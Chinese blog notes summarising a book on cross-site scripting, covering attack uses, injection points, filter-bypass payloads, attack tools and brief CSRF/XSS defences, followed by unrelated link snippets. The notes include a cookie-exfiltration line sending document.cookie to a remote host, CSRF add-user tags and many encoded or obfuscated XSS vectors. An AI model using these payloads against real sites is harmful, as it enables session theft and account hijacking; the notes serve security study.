XSS学习笔记
本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结
常见的XSS攻击主要用于
1.网络钓鱼,盗用用户账号
2.窃取cookies 非httponly情况下,读取document.cookie
通过xss注入读取document.cookie并将cookie信息记录到远程服务器,然后使用桂林老兵cookie欺骗工具与服务器建立绘画
document.write(<img src=http://xx.com/cookie.aspx?cookie='+document.cookie+'/>)
3.劫持用户浏览器会话(xss-proxy)
利用当前用户的会话,通过ajax请求,指定的操作页面,完成某种操作,比如添加管理员来提高权限;此种方式需要事先熟悉需要攻击网站的请求流程以及相关请求参数
4.强制挂广告
5.页面挂马
6.CSRF 跨站请求伪造 利用客户会话携带cookie访问漏洞平台的操作
常见形式<img src=http://www.xxx.com/adduser?username=/>
<script src="http://www.xxx.com/adduser?username=">
<iframe src="http://www.xxx.com/adduser?username="></iframe>
xmlhttp对象
攻击手段,预先分析漏洞平台的参数请求信息,构造expliot
http://www.xxx.com/adduser?username=xxxx
7.制作蠕虫病毒
8.获取客户端信息,用户浏览历史,ip
9dos/ddos攻击
通过注入恶意代码,劫持用户持续不断请求某服务器
<script>for(;;)alert('xss')</script>
反射性XSS
通过用户点击特定URL执行跨站脚本
持久性XSS
将可以脚本存储到客户端或服务器数据库,用户浏览器访问时执行
恶意脚本的执行途径
1.document.write()
2.后台直接绑定未经过滤的变量到前台
3.doc.InnerHtml直接赋值未经过滤的html片段 <img src=javascript:alert(/xxx/)/>
4.将包含恶意js代码的html文件伪装成图片,IE浏览器打开是利用IE浏览器的嗅探机制(ie浏览器时根据文件内容判断执行方式的,其他浏览器根据minetype和文件后缀选择执行方式)的特性,执行恶意代码
5.outlookexpress等邮件客户端软件,发送含有恶意js代码的邮件,收件人打开即中招
6.flash的swf文件制作时,加入geturl(javascript:alert(0))等恶意代码,页面引用swf文件时,中招
7.pdf文件制作时加入恶意js脚本, 代开引用该pdf文件的页面是,中招
8.MHTML 通过将恶意代码base64 编码,加入到MHTML文档中
xss的表现形式
1.利用<>标记注射html/javascript
2.利用html标签属性执行xss,很多html标记属性支持javascript:[code]
<table background="javascript:alert(/xss/)"></table>
<img src=javascript:alert(/xss/) />
3.空格,回车,Tab绕过限制
<img src='javas cript:alert(/xss/)'/>
4.对标签属性值进行转码 html的属性值支持ASCII玛
<img src="javascript:alert(/xss/)"/>;
5利用DOM事件
<img src="#" onerror=alert(/xss/)/>
6.利用css执行恶意js
body{background-image:url("javascript:aert('xss')")}
body{background-image:expression(alert("xss"))}
然后通过link引用该样式文件,执行攻击
7.通过大小写绕过过滤规则
<iMG SrC="JavAScriPt:alert(0)"/>
8.利用字符编码
javascript:alert('xss')进行10进制转码为jav........
<img scr="jav........"/>
9.eval()执行16进制字符串
eval("\x61\x6c\x65....")
10.windows.location.hash 的利用
location.hash获取页面标签的值(页面url里的#)
http://xxx.com/a.php?name="><script>eval(location.hash.substr(1))</script>#alert('xss')
注入的位置
document.URL
Location
document.referer
window.name
1.将危险代码编码后进行攻击
将js脚本转换成十进制或16进制作,Escape等编码为参数加入到路径中,以迷惑用户当伪装的参数输出到页面时,进行执行攻击脚本。
http://www.aa.com/search?q=<script>alert(/xxx/)</script>经16进制转换后伪装成:
http://www.aa.com/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%78%78%78%2f%29%3c%2f%73%63%72%69%70%74%3e
用户往往容易中招
json注入攻击
json中含有恶意代码name:<img src=javascript:alert(0)/>,然后执行eval()
常用工具
xss-proxy
XSS-SHELL
anehta 攻击力利器
livehttpheaders 调试http
tamper
fiddler http抓包调试工具
attackapi js攻击框架
beef
Acunetix Web Vulnerability Scanner XSS漏洞扫描工具
xssdetect
xss经常利用的漏洞
1.UTF-7BOMXSS
2.MHTML XSS
3.Data URIs XSS
4.CRLF
5.HACKjSON
CSRF防范手段
1.验证来源referer
2.验证码
3.使用token,加载页面时向页面隐藏于付一个加密的token,提交时客户端会提交此加密token,服务器端判断此token是否存在,并校验是否正确,不正确则是非法请求,可能是CSRF攻击
XSS防御技巧
过滤用户输入,输入编码,asp.net网站不要轻易关闭valicateRequest文章发布页面需要富文本时,使用微软的xss过滤框架HtmlSanitizationLibrary
XSS学习笔记的更多相关文章
- XSS学习笔记(四)-漏洞利用全过程
<script type="text/javascript" reload="1">setTimeout("window.location ...
- XSS学习笔记(一个)-点击劫持
所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...
- XSS学习笔记(五)-XSS防御
如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...
- 【转载】XSS学习笔记
XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...
- 2019-11-20:xss学习笔记
xxe漏洞防御使用开发语言提供的禁用外部实体的方法phplibxml_disable_entity_loader(true); 卢兰奇对象模型,bom由于现代浏览器实现了js交互性方面的相同方法和属性 ...
- xss学习笔记(萌新版)
xss简介 xss攻击者构造恶意信息然后在用户的浏览器上执行,主要分为反射性xss,这种主要是某个页面存在有漏洞的参数,然后填上恶意参数把整个链接发给用户或者管理员,他们点击了带有恶意参数的链接就会执 ...
- Web安全学习笔记 XSS上
Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...
- Web For Pentester 学习笔记 - XSS篇
XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给 ...
- ASP.Net开发基础温故知新学习笔记
申明:本文是学习2014版ASP.Net视频教程的学习笔记,仅供本人复习之用,也没有发布到博客园首页. 一.一般处理程序基础 (1)表单提交注意点: ①GET通过URL,POST通过报文体: ②需在H ...
随机推荐
- JS字符串的问题
首先,搞了好几个小时,头都大了,原来出在字符串问题上. 具体如下: 今天做Yii,遇到用JQuery 的AJAX方法做注册验证,把传回来的字符串与textField中的比较,发现相等,但是就是不出结果 ...
- mamp下安装ruby的mysql库
mysql2库死活不行,用ruby-mysql得了,纯ruby的库 gem "ruby-mysql" require 'mysql'
- mac电脑安装selenium 记录
1.使用终端去命令安装 sudo easy_install selenium 参考:https://www.cnblogs.com/nichoc/p/5543654.html 2.听说驱动放在 /us ...
- 汇编_指令_FLAGS
标志名 标志 1 标志 0 OF (溢出标志) OV ...
- [转]MVC 经验总结_序
<appSettings> <add key="vs:EnableBrowserLink" value="false"/> </a ...
- Quartz教程
Quartz教程 Quartz教程四--Trigger介绍 Quartz教程八--SchedulerListener 08-24 Quartz教程七--TriggerListener和JobLis ...
- Fiddler 抓包工具总结-bpafter
转摘https://www.cnblogs.com/shy1766IT/p/5199334.html Fiddler 抓包工具总结 名称 含义 # 抓取HTTP Request的顺序,从1开始,以 ...
- Flask框架的学习与实战(一):开发环境搭建
Flask是一个使用 Python 编写的轻量级 Web 应用框架.其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2.很多功能的实现都参考了django框架.由于项目需要,在 ...
- 管理Linux服务器的用户和组
管理Linux服务器的用户和组 Linux操作系统是一个多用户多任务的操作系统,允许多个用户同时登录到系统,使用系统资源. 为了使所有用户的工作顺利进行,保护每个用户的文件和进程,规范每个用户的权限, ...
- 31_java之项目中的数据库操作
01项目训练目标 * A: 项目训练目标 * a: 项目目标 * 综合运用前面所学习的知识点 * 熟练View层.Service层.Dao层之间的方法相互调用操作. * 熟练dbutils操作数据库表 ...